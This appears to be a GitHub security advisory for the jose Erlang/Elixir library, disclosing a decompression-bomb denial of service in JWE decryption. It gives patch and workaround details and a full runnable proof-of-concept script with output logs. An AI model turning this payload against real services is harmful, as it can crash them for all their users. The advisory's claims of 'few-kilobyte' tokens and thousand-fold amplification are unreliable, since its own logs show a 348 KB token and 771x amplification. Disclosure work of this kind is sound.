Skip to main content
Menu
Advisories

Decompression bomb via unbounded zlib:inflate on attacker-controlled JWE payload

GHSA-WFPV-QXP8-X5GMPublished Updated GitHub

Description

A remote attacker who possesses only the recipient's public key can craft a small JWE token that, when decrypted, expands into hundreds of megabytes or gigabytes of memory on the victim's node. Because jose_jwe_zip:uncompress/2 inflates attacker-controlled compressed data with no size or ratio cap, a few-kilobyte token can OOM-kill the BEAM. This is a remotely triggerable denial-of-service (decompression bomb).

Details

JWE supports an optional zip: "DEF" header that DEFLATE-compresses the plaintext before encryption. When a recipient decrypts such a token, jose must decompress the plaintext. That decompression happens in src/jwe/jose_jwe_zip.erl:

uncompress(Compressed, ...) ->
    Z = zlib:open(),
    ok = zlib:inflateInit(Z, -15),
    Uncompressed = zlib:inflate(Z, Compressed),
    ...

zlib:inflate/2 returns the entire inflated stream at once and imposes no bound on output size or inflation ratio. Raw DEFLATE achieves ratios around 1000:1 on highly repetitive input (e.g. a run of zero bytes), so a few kilobytes of crafted plaintext expands to hundreds of MB or GB in a single call, exhausting node memory.

The zip: "DEF" codec is selected by from_map/1, but that match only picks the decompression algorithm — it does nothing to bound the output size. The decompression runs automatically as part of decryption, so the victim never gets a chance to reject the payload before the memory blowup occurs.

For the common asymmetric key-management algorithms (RSA-OAEP, ECDH-ES), encrypting a JWE requires only the recipient's public key. An attacker therefore needs no secret material to build a malicious token — only a token the victim will decrypt with its private key via JOSE.JWE.block_decrypt/2.

The memory-safe fix is to decompress incrementally with zlib:safeInflate/2, aborting once a configurable maximum output size or maximum inflation ratio is exceeded, rather than calling zlib:inflate/2 on the whole stream.

PoC

The attached script encodes an outside-attacker threat model in which the attacker holds only the recipient's RSA public key.

On the attacker side, the script generates a recipient RSA-2048 key pair and keeps only the public half (JOSE.JWK.to_public/1), mirroring what an outside attacker would have for RSA-OAEP or ECDH-ES. It builds a plaintext of 256 MiB of zero bytes — trivially compressible — and encrypts it with the header %{"alg" => "RSA-OAEP", "enc" => "A128GCM", "zip" => "DEF"}. The zip: "DEF" header forces DEFLATE compression, so the resulting compact token (JOSE.JWE.compact/1) is only a few kilobytes. The script prints that token's byte size to show how small the malicious payload is.

On the victim side, the script crosses the trust boundary by calling JOSE.JWE.block_decrypt(recipient_private, malicious_token) on the attacker-supplied compact token. Inside that call, jose sees the zip: "DEF" header and routes the decrypted plaintext through jose_jwe_zip:uncompress/2, which invokes the unbounded zlib:inflate/2. This is the exact mechanism: the small compressed field is inflated to its full 256 MiB with no cap.

The script measures :erlang.memory(:total) before and after decryption and computes both the decompressed size and the amplification factor (decompressed bytes divided by token bytes). It prints VERIFIED only when the plaintext is at least 256 MiB and the measured memory delta exceeds 100 MB:

if decompressed >= 256 * 1024 * 1024 and delta_mb > 100 do

Seeing this line together with a multi-thousand-fold amplification factor demonstrates that a tiny token, craftable with only the recipient's public key, forces the victim to allocate hundreds of MB during a single decrypt. The full script is attached below under "Scripts and Logs" so the reader can run it directly.

Impact

This is an unbounded-decompression denial-of-service vulnerability. Any Elixir/Erlang application that uses jose to decrypt JWE tokens from untrusted senders is affected, since the zip: "DEF" header is honored automatically during decryption. With the widely used asymmetric algorithms (RSA-OAEP, ECDH-ES), the attacker needs only the recipient's public key and a way to deliver a token the victim will decrypt — no authentication or secret material is required. A single small token can exhaust the node's memory and crash the BEAM, taking down the service for all users.

Patches

Fixed in 1.11.13. JWE payloads with "zip": "DEF" are now inflated incrementally, and decryption raises an error as soon as the decompressed size would exceed zip_size_maximum (1 MiB, 1048576 bytes, by default) instead of materializing the whole output. Applications that legitimately need larger compressed plaintexts can raise the limit with the zip_size_maximum application environment key for jose or jose:zip_size_maximum/1 (:jose.zip_size_maximum/1 from Elixir). Authentication failures on compressed JWEs are also returned without invoking decompression.

Workarounds

If you cannot upgrade, reject compressed JWEs before decrypting them: base64url-decode the protected segment returned by jose_jwe:expand/1 / JOSE.JWE.expand/1 and refuse the token if its header contains a zip member. Applications that never produce compressed JWEs lose nothing by doing this.

Scripts and Logs

# Verifies: Decompression bomb via unbounded `zlib:inflate` on attacker-controlled JWE payload
#
# Threat model: outside attacker.
#   The attacker needs only the recipient's *public* key (RSA-OAEP here) to
#   craft a JWE. By setting the `zip: "DEF"` header, the attacker forces the
#   victim to DEFLATE-decompress the plaintext during decryption. A few KB of
#   crafted, highly compressible plaintext (a run of zeros) inflates to
#   hundreds of MB on the victim's node because `jose_jwe_zip:uncompress/2`
#   calls `zlib:inflate/2` with no output-size / ratio cap
#   (src/jwe/jose_jwe_zip.erl:63-69).
#
#   The public entry point crossing the trust boundary is
#   `JOSE.JWE.block_decrypt/2`: the victim feeds it an attacker-controlled
#   compact token and gets OOM-grade memory amplification.

Mix.install([{:jose, "1.11.12"}])

# --- Attacker side ---------------------------------------------------------
# The attacker only has the recipient's PUBLIC key. It builds a tiny compact
# JWE whose plaintext is a large run of zeros compressed with raw DEFLATE.

# Bomb: 256 MiB of zeros. Compresses to a few KB of DEFLATE -> tiny token.
bomb_plaintext = :binary.copy(<<0>>, 256 * 1024 * 1024)

# Recipient key pair. The victim keeps the private key; the attacker is given
# only the public key (as would happen with RSA-OAEP / ECDH-ES in the wild).
recipient_private = JOSE.JWK.generate_key({:rsa, 2048})
recipient_public = JOSE.JWK.to_public(recipient_private)

header = %{"alg" => "RSA-OAEP", "enc" => "A128GCM", "zip" => "DEF"}

{_, malicious_token} =
  recipient_public
  |> JOSE.JWE.block_encrypt(bomb_plaintext, header)
  |> JOSE.JWE.compact()

# Free the attacker-side copy so the victim-side memory delta is clean.
:erlang.garbage_collect()

IO.puts("Attacker's malicious JWE token size: #{byte_size(malicious_token)} bytes")

# --- Victim side -----------------------------------------------------------
# The victim receives `malicious_token` over the wire and decrypts it with its
# private key. `block_decrypt/2` is the trust boundary the attacker's payload
# crosses; the inflate happens inside it, unbounded.

mem_before = :erlang.memory(:total)

{plaintext, _jwe} = JOSE.JWE.block_decrypt(recipient_private, malicious_token)

mem_after = :erlang.memory(:total)

delta_mb = (mem_after - mem_before) / (1024 * 1024)

IO.puts("Decompressed plaintext size: #{byte_size(plaintext)} bytes")
IO.puts("Memory before decrypt: #{Float.round(mem_before / (1024 * 1024), 2)} MB")
IO.puts("Memory after  decrypt: #{Float.round(mem_after / (1024 * 1024), 2)} MB")
IO.puts("Memory delta:          #{Float.round(delta_mb, 2)} MB")

decompressed = byte_size(plaintext)
amplification = decompressed / byte_size(malicious_token)

if decompressed >= 256 * 1024 * 1024 and delta_mb > 100 do
  IO.puts(
    "VERIFIED: ~#{byte_size(malicious_token)}-byte JWE inflated to " <>
      "#{Float.round(decompressed / (1024 * 1024), 1)} MB " <>
      "(#{Float.round(amplification, 0)}x amplification, +#{Float.round(delta_mb, 1)} MB) " <>
      "with only the recipient's public key — unbounded zlib:inflate DoS."
  )
else
  IO.puts("NOT VERIFIED: no significant memory amplification observed on decrypt.")
end

Logs

Attacker's malicious JWE token size: 348334 bytes
Decompressed plaintext size: 268435456 bytes
Memory before decrypt: 45.15 MB
Memory after  decrypt: 505.03 MB
Memory delta:          459.88 MB
VERIFIED: ~348334-byte JWE inflated to 256.0 MB (771.0x amplification, +459.9 MB) with only the recipient's public key — unbounded zlib:inflate DoS.

Affected versions

References

GitHub · potatosalad/erlang-jose